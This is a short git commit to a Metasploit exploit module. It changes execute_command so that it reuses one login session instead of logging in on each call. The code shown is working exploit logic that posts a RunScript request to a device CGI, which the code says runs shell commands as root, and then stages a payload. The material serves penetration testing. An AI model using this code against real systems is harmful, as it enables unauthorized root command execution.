Do not get a session on every execute_command call

bug/bundler_fix
jvazquez-r7 2013-09-24 15:31:40 -05:00
parent 79ca123051
commit 6c2063c9c0
1 changed files with 9 additions and 10 deletions

View File

@ -128,14 +128,6 @@ class Metasploit3 < Msf::Exploit::Remote
# The RunScript action will run shell commands directly with root privileges.
def execute_command(cmd, opts)
admin_password = password
if admin_password.nil?
fail_with(Failure::Unknown, "#{peer} - Retrieving password failed!")
end
session = login(admin_password)
script_name = rand_text_alphanumeric(8)
res = send_request_cgi({
'method' => 'POST',
@ -143,19 +135,26 @@ class Metasploit3 < Msf::Exploit::Remote
'vars_post' => {
'Action' => "RunScript",
'Section' => "Setup",
'STk' => session,
'STk' => @session,
'ScriptName' => script_name,
'Script' => cmd + '&'
}
})
if not res or res.code != 200
if res and res.code != 200
fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
end
end
def exploit
admin_password = password
if admin_password.nil?
fail_with(Failure::Unknown, "#{peer} - Retrieving password failed!")
end
@session = login(admin_password)
execute_cmdstager
end